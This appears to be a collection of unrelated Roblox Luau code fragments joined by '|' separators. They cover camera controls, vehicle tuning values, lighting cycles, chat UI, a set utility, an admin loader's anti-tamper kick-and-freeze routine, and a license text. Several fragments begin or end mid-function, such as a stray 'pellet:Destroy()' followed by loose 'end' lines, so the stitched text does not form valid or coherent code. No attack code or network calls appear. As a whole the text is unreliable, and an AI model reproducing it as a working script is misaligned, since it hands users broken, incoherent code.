[FtueStage.ReturningToFarm] = ReturningToFarmFtueStage,
}
local FtueManagerClient = {}
FtueManagerClient.activeStage = nil :: Stage?
function FtueManagerClient.start()
local ftueStage = PlayerDataClient.get(PlayerDataKey.FtueStage)
FtueManagerClient._onFtueStageUpdated(ftueStage)
PlayerDataClient.updated:Connect(function(valueName: any, value: any)
if valueName :: string ~= PlayerDataKey.FtueStage then
return
end
FtueManagerClient._onFtueStageUpdated(value)
end)
end
function FtueManagerClient._onFtueStageUpdated(ftueStage: FtueStage.EnumType?)
if FtueManagerClient.activeStage then
FtueManagerClient.activeStage.teardown()
end
FtueManagerClient.activeStage = ftueStage and handlerByStage[ftueStage]
if FtueManagerClient.activeStage then
FtueManagerClient.activeStage.setup()
end
end
return FtueManagerClient
|
--------------------
--[[
If the meshUpgrade is set to true above, then the cash brick that touches the upgrader will
be turned into a mesh which will have its settings bellow:
Mesh Settings:
Look at the mesh properties and change the inside of the quotes below to the appropriate
full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want]] |
meshID = "rbxassetid://431035980"
textureID = "rbxassetid://431036179"
|
--- pellet:Destroy() |
end
end
end
end
end
pellet.Touched:connect(onTouched)
wait(10)
pellet.Parent = nil
|
--[=[
@function differenceSymmetric
@within Set
@param set Set<V> -- The set to compare.
@param ... ...Set<V> -- The sets to compare against.
@return Set<V> -- The symmetric difference between the sets.
Returns a set of values that are in the first set, but not in the other sets, and vice versa.
```lua
local set1 = { hello = true, world = true }
local set2 = { cat = true, dog = true, hello = true }
local differenceSymmetric = DifferenceSymmetric(set1, set2) -- { world = true, cat = true, dog = true }
```
]=] |
local function differenceSymmetric<V>(set: T.Set<V>, ...: T.Set<V>): T.Set<V>
local diff = table.clone(set)
for _, nextSet in { ... } do
if typeof(nextSet) ~= "table" then
continue
end
for value in nextSet do
diff[value] = if diff[value] == nil then true else false
end
end
for value, keep in diff do
diff[value] = if keep then true else nil
end
return diff
end
return differenceSymmetric
|
-- Listener for changes to workspace.CurrentCamera |
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
local camera = game.Workspace.CurrentCamera
if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then
-- Screen has portrait orientation, swap X and Y sensitivity
return translationVector * Vector2.new( sensitivity.Y, sensitivity.X)
end
return translationVector * sensitivity
end
function BaseCamera:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
self:ConnectInputEvents()
self:BindContextActions()
if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
self:DisconnectInputEvents()
self:UnbindContextActions()
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
end
end
function BaseCamera:GetEnabled()
return self.enabled
end
function BaseCamera:OnInputBegan(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Down(input, processed)
end
end
function BaseCamera:OnInputChanged(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
self:OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel and not FFlagUserPointerActionsInPlayerScripts then -- remove with FFlagUserPointerActionsInPlayerScripts
self:OnMouseWheel(input, processed)
end
end
function BaseCamera:OnInputEnded(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Up(input, processed)
end
end
function BaseCamera:OnPointerAction(wheel, pan, pinch, processed)
if processed then
return
end
if pan.Magnitude > 0 then
local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector
self.rotateInput = self.rotateInput + rotateDelta
end
local zoom = self.currentSubjectDistance
local zoomDelta = -(wheel + pinch)
if abs(zoomDelta) > 0 then
local newZoom
if self.inFirstPerson and zoomDelta > 0 then
newZoom = FIRST_PERSON_DISTANCE_THRESHOLD
else
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
end
self:SetCameraToSubjectDistance(newZoom)
end
end
function BaseCamera:ConnectInputEvents()
if FFlagUserPointerActionsInPlayerScripts then
self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed)
self:OnPointerAction(wheel, pan, pinch, processed)
end)
end
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
self:OnInputChanged(input, processed)
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
self:OnInputEnded(input, processed)
end)
self.menuOpenedConn = GuiService.MenuOpened:connect(function()
self:ResetInputStates()
end)
self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if self.activeGamepad ~= gamepadEnum then return end
self.activeGamepad = nil
self:AssignActivateGamepad()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if self.activeGamepad == nil then
self:AssignActivateGamepad()
end
end)
self:AssignActivateGamepad()
self:UpdateMouseBehavior()
end
function BaseCamera:BindContextActions()
self:BindGamepadInputActions()
self:BindKeyboardInputActions()
end
function BaseCamera:AssignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if self.activeGamepad == nil then
self.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < self.activeGamepad.Value then
self.activeGamepad = connectedGamepads[i]
end
end
end
if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
self.activeGamepad = Enum.UserInputType.Gamepad1
end
end
function BaseCamera:DisconnectInputEvents()
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
self.inputBeganConn = nil
end
if self.inputChangedConn then
self.inputChangedConn:Disconnect()
self.inputChangedConn = nil
end
if self.inputEndedConn then
self.inputEndedConn:Disconnect()
self.inputEndedConn = nil
end
end
function BaseCamera:UnbindContextActions()
for i = 1, #self.boundContextActions do
ContextActionService:UnbindAction(self.boundContextActions[i])
end
self.boundContextActions = {}
end
function BaseCamera:Cleanup()
if FFlagUserPointerActionsInPlayerScripts and self.pointerActionConn then
self.pointerActionConn:Disconnect()
self.pointerActionConn = nil
end
if self.menuOpenedConn then
self.menuOpenedConn:Disconnect()
self.menuOpenedConn = nil
end
if self.mouseLockToggleConn then
self.mouseLockToggleConn:Disconnect()
self.mouseLockToggleConn = nil
end
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
if self.touchActivateConn then
self.touchActivateConn:Disconnect()
self.touchActivateConn = nil
end
self.turningLeft = false
self.turningRight = false
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
self.userPanningTheCamera = false
self.rotateInput = Vector2.new()
self.gamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self.fingerTouches = {}
self.dynamicTouchInput = nil
self.numUnsunkTouches = 0
self.startingDiff = nil
self.pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
|
-- |
local Ang = CFrame.Angles
local aTan = math.atan |
--// Adonis Client Loader (Non-ReplicatedFirst Version) |
local DebugMode = false;
local wait = wait;
local time = time;
local pcall = pcall;
local xpcall = xpcall;
local setfenv = setfenv;
local tostring = tostring;
local players = game:GetService("Players");
local player = players.LocalPlayer;
local folder = script.Parent;
local container = folder.Parent;
local Kick = player.Kick;
local module = folder:WaitForChild("Client");
local target = player;
local realPrint = print;
local realWarn = warn;
local start = time();
local function print(...)
--realPrint(...)
end
local function warn(str)
if DebugMode or player.UserId == 1237666 then
realWarn("ACLI: "..tostring(str))
end
end
local function Kill(info)
if DebugMode then warn(info) return end
pcall(function() Kick(player, info) end)
wait(1)
pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end)
end
local function Locked(obj)
return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end)
end
local function loadingTime()
warn("LoadingTime Called")
setfenv(1,{})
warn(tostring(time() - start))
end
local function callCheck(child)
warn("CallCheck: "..tostring(child))
if Locked(child) then
warn("Child locked?")
Kill("ACLI: Locked")
else
warn("Child not locked")
xpcall(function()
return child[{}]
end, function()
if getfenv(1) ~= getfenv(2) then
Kill("ACLI: Error")
end
end)
end
end
local function doPcall(func, ...)
local ran,ret = pcall(func, ...)
if ran then
return ran,ret
else
warn(tostring(ret))
Kill("ACLI: Error\n"..tostring(ret))
return ran,ret
end
end
if module and module:IsA("ModuleScript") then
warn("Loading Folder...")
local nameVal
local origName
local depsFolder
local clientModule
warn("Waiting for Client & Special")
nameVal = folder:WaitForChild("Special", 30)
warn("Checking Client & Special")
--callCheck(nameVal)
--callCheck(clientModule)
warn("Getting origName")
origName = (nameVal and nameVal.Value) or folder.Name
warn("Got name: "..tostring(origName))
warn("Removing old client folder...")
local starterPlayer = game:GetService("StarterPlayer");
local playerScripts = starterPlayer:FindFirstChildOfClass("StarterPlayerScripts");
local found = playerScripts:FindFirstChild(folder.Name);
warn("FOUND?! ".. tostring(found));
warn("LOOKED FOR : ".. tostring(folder.Name))
if found then
print("REMOVED!")
found.Parent = nil --found:Destroy();
end
--// Sometimes we load a little too fast and generate a warning from Roblox so we need to introduce some (minor) artificial loading lag...
warn("Changing child parent...")
folder.Name = "";
wait(0.01);
folder.Parent = nil; --// We cannot do this assynchronously or it will disconnect events that manage to connect before it changes parent to nil...
warn("Destroying parent...")
print("Debug: Loading the client?")
local meta = require(module)
warn("Got metatable: "..tostring(meta))
if meta and type(meta) == "userdata" and tostring(meta) == "Adonis" then
local ran,ret = pcall(meta,{
Module = module,
Start = start,
Loader = script,
Name = origName,
Folder = folder;
LoadingTime = loadingTime,
CallCheck = callCheck,
Kill = Kill
})
warn("Got return: "..tostring(ret))
if ret ~= "SUCCESS" then
realWarn(ret)
Kill("ACLI: Loading Error [Bad Module Return]")
else
print("Debug: The client was found and loaded?")
warn("Client Loaded")
if container and container:IsA("ScreenGui") then
container.Parent = nil --container:Destroy();
end
end
end
end
|
--by Repilee 4/29/18--
--(resumed as of 6/23/18)-- |
local car = script.Parent.Parent.Car.Value
local mouse = game:GetService("Players").LocalPlayer:GetMouse()
|
--------END RIGHT DOOR -------- |
game.Workspace.post1.Light.BrickColor = BrickColor.new(21)
game.Workspace.post2.Light.BrickColor = BrickColor.new(21)
end
wait(0.15)
if game.Workspace.DoorFlashing.Value == true then |
--[[Weight and CG]] |
Tune.Weight = 8000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 8 ,
--[[Height]] 20 ,
--[[Length]] 25 }
Tune.WeightDist = 30 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = 2 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "DJ"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(2, 2, 2)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.28, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
local rColorList = {000,000,000,000,000,255,255,255,255,255,255,255,255,255,255,255,255,255,255,000,000,000,000,000}
local gColorList = {165,165,165,165,165,210,215,230,255,255,255,255,255,255,255,245,230,215,255,165,165,165,165,165}
local bColorList = {255,255,255,255,255,100,110,135,255,255,255,255,255,255,255,215,135,110,255,255,255,255,255,255}
local r
local g
local b
while true do
--time changer
mam = game.Lighting:GetMinutesAfterMidnight() + timeShift
game.Lighting:SetMinutesAfterMidnight(mam)
mam = mam/60
--brightness
game.Lighting.Brightness = amplitudeB*math.cos(mam*(pi/12)+pi)+offsetB
--outdoor ambient
var=amplitudeO*math.cos(mam*(pi/12)+pi)+offsetO
game.Lighting.OutdoorAmbient = Color3.fromRGB(var,var,var)
--shadow softness
game.Lighting.ShadowSoftness = amplitudeS*math.cos(mam*(pi/6))+offsetS
--color shift top
pointer= math.clamp(math.ceil(mam), 1, 24)
r=((rColorList[pointer%24+1]-rColorList[pointer])*(mam-pointer+1))+rColorList[pointer]
g=((gColorList[pointer%24+1]-gColorList[pointer])*(mam-pointer+1))+gColorList[pointer]
b=((bColorList[pointer%24+1]-bColorList[pointer])*(mam-pointer+1))+bColorList[pointer]
game.Lighting.ColorShift_Top=Color3.fromRGB(r,g,b)
--tick
wait(waitTime)
end
|
--local default = lighting.Technology |
local toggle = false
local button = script.Parent |
--[[Rear]] | --
Tune.RTireProfile = 1 -- Tire profile, aggressive or smooth
Tune.RProfileHeight = .45 -- Profile height, conforming to tire
Tune.RTireCompound = 3 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear
Tune.RTireFriction = 1.1 -- Your tire's friction in the best conditions.
|
--[[START]] |
script.Parent:WaitForChild("Bike")
script.Parent:WaitForChild("IsOn")
script.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Values")
|
-- Set player control |
function UserInputController:setPlayerControlsEnabled(enabled: boolean)
local playerControls = self:_getPlayerControls()
if playerControls then
if enabled then
-- Enable movement
playerControls:Enable()
else
-- Disable movement
playerControls:Disable()
end
end
end
|
--Tune-- |
local StockHP = 1000 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 35 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos
local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 7/1 --Compression of your car (look up the compression of the engine you are running)
local AntiLag = true --if true basically keeps the turbo spooled up so less lag
local BOV_Loudness = 6 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.8 --max pitch of the BOV (not exact so might have to mess with it)
local TurboLoudness = 2.3 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
|
-- Drive Input Loop -- |
while true do
getInputValues(MobileHandbrake)
local currentVel = Chassis.GetAverageVelocity()
-- Taking care of steering
-- For debugging, calculating steering paramters with SteeringCalculations script
-- local steer = script.Parent.SteeringValue.Value
-- steering.TargetPosition = -steer * steerMax
-- Steering is more sensitive at small value
local steer = script.Steering.Value
Chassis.UpdateSteering(steer, currentVel)
-- Taking care of throttling
local throttle = script.Throttle.Value
script.AngularMotorVelocity.Value = currentVel
script.ForwardVelocity.Value = driverSeat.CFrame.LookVector:Dot( driverSeat.Velocity )
Chassis.UpdateThrottle(currentVel, throttle)
-- Taking care of handbrake
if script.HandBrake.Value > 0 then
Chassis.EnableHandbrake()
steer = script.Steering.Value --TODO: Fix handbrake steering
end |
--////////////////////////////////////////////////////////////////////////////////////////////
--///////////////////////////////////////////////// Code to hook client UI up to server events
--//////////////////////////////////////////////////////////////////////////////////////////// |
function DoChatBarFocus()
if (not ChatWindow:GetCoreGuiEnabled()) then return end
if (not ChatBar:GetEnabled()) then return end
if (not ChatBar:IsFocused() and ChatBar:GetVisible()) then
moduleApiTable:SetVisible(true)
InstantFadeIn()
ChatBar:CaptureFocus()
moduleApiTable.ChatBarFocusChanged:fire(true)
end
end
chatBarFocusChanged.Event:connect(function(focused)
moduleApiTable.ChatBarFocusChanged:fire(focused)
end)
function DoSwitchCurrentChannel(targetChannel)
if (ChatWindow:GetChannel(targetChannel)) then
ChatWindow:SwitchCurrentChannel(targetChannel)
end
end
function SendMessageToSelfInTargetChannel(message, channelName, extraData)
local channelObj = ChatWindow:GetChannel(channelName)
if (channelObj) then
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channelName,
IsFiltered = true,
MessageLength = string.len(message),
Message = trimTrailingSpaces(message),
MessageType = ChatConstants.MessageTypeSystem,
Time = os.time(),
ExtraData = extraData,
}
channelObj:AddMessageToChannel(messageData)
end
end
function chatBarFocused()
if (not mouseIsInWindow) then
DoBackgroundFadeIn()
if (textIsFaded) then
DoTextFadeIn()
end
end
chatBarFocusChanged:Fire(true)
end
|
--this is a little bad, but shouldn't really be part of the 'class' of the gun |
local Intangibles = {shock=1, bolt=1, bullet=1, plasma=1, effect=1, laser=1, handle=1, effects=1, flash=1,}
function CheckIntangible(hitObj)
print(hitObj.Name)
return Intangibles[(string.lower(hitObj.Name))] or hitObj.Transparency == 1
end
function CastRay(startpos, vec, length, ignore, delayifhit)
if length > 999 then
length = 999
end
hit, endpos2 = game.Workspace:FindPartOnRay(Ray.new(startpos, vec * length), ignore)
if hit ~= nil then
if CheckIntangible(hit) then
if delayifhit then
wait()
end
hit, endpos2 = CastRay(endpos2 + (vec * .01), vec, length - ((startpos - endpos2).magnitude), ignore, delayifhit)
end
end
return hit, endpos2
end
function DrawBeam(beamstart, beamend, clr, fadedelay, templatePart)
local dis = 2 --(beamstart - beamend).magnitude
local tlaser=templatePart:Clone()
tlaser.BrickColor = clr
tlaser.Size = Vector3.new(.12, .12, dis + .2)
tlaser.CFrame = CFrame.new((beamend+beamstart)/2, beamstart) * CFrame.new(0, 0, - dis/2)
tlaser.Parent = game.Workspace
game.Debris:AddItem(tlaser, fadedelay)
end
|
--[[
Constructs and returns objects which can be used to model independent
reactive state.
]] |
local Package = script.Parent.Parent
local Types = require(Package.Types)
local useDependency = require(Package.Dependencies.useDependency)
local initDependency = require(Package.Dependencies.initDependency)
local updateAll = require(Package.Dependencies.updateAll)
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--[[ Functions of BaseCamera that are overridden by OrbitalCamera ]] | --
function OrbitalCamera:GetCameraToSubjectDistance()
return self.curDistance
end
function OrbitalCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
local player = PlayersService.LocalPlayer
if player then
self.currentSubjectDistance = math.clamp(desiredSubjectDistance, self.minDistance, self.maxDistance)
-- OrbitalCamera is not allowed to go into the first-person range
self.currentSubjectDistance = math.max(self.currentSubjectDistance, self.FIRST_PERSON_DISTANCE_THRESHOLD)
end
self.inFirstPerson = false
self:UpdateMouseBehavior()
return self.currentSubjectDistance
end
function OrbitalCamera:CalculateNewLookVector(suppliedLookVector: Vector3, xyRotateVector: Vector2): Vector3
local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector()
local currPitchAngle: number = math.asin(currLookVector.Y)
local yTheta: number = math.clamp(xyRotateVector.Y, currPitchAngle - math.rad(MAX_ALLOWED_ELEVATION_DEG), currPitchAngle - math.rad(MIN_ALLOWED_ELEVATION_DEG))
local constrainedRotateInput: Vector2 = Vector2.new(xyRotateVector.X, yTheta)
local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector)
local newLookVector: Vector3 = (CFrame.Angles(0, -constrainedRotateInput.X, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.Y,0,0)).LookVector
return newLookVector
end
|
--[[
Disclaimer for Robert Penner's Easing Equations license:
TERMS OF USE - EASING EQUATIONS
Open source under the BSD License.
Copyright © 2001 Robert Penner
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
]] |
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